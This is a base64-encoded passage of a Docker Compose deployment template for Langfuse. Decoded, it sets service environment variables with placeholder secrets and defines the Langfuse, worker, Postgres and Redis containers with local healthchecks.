wogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtI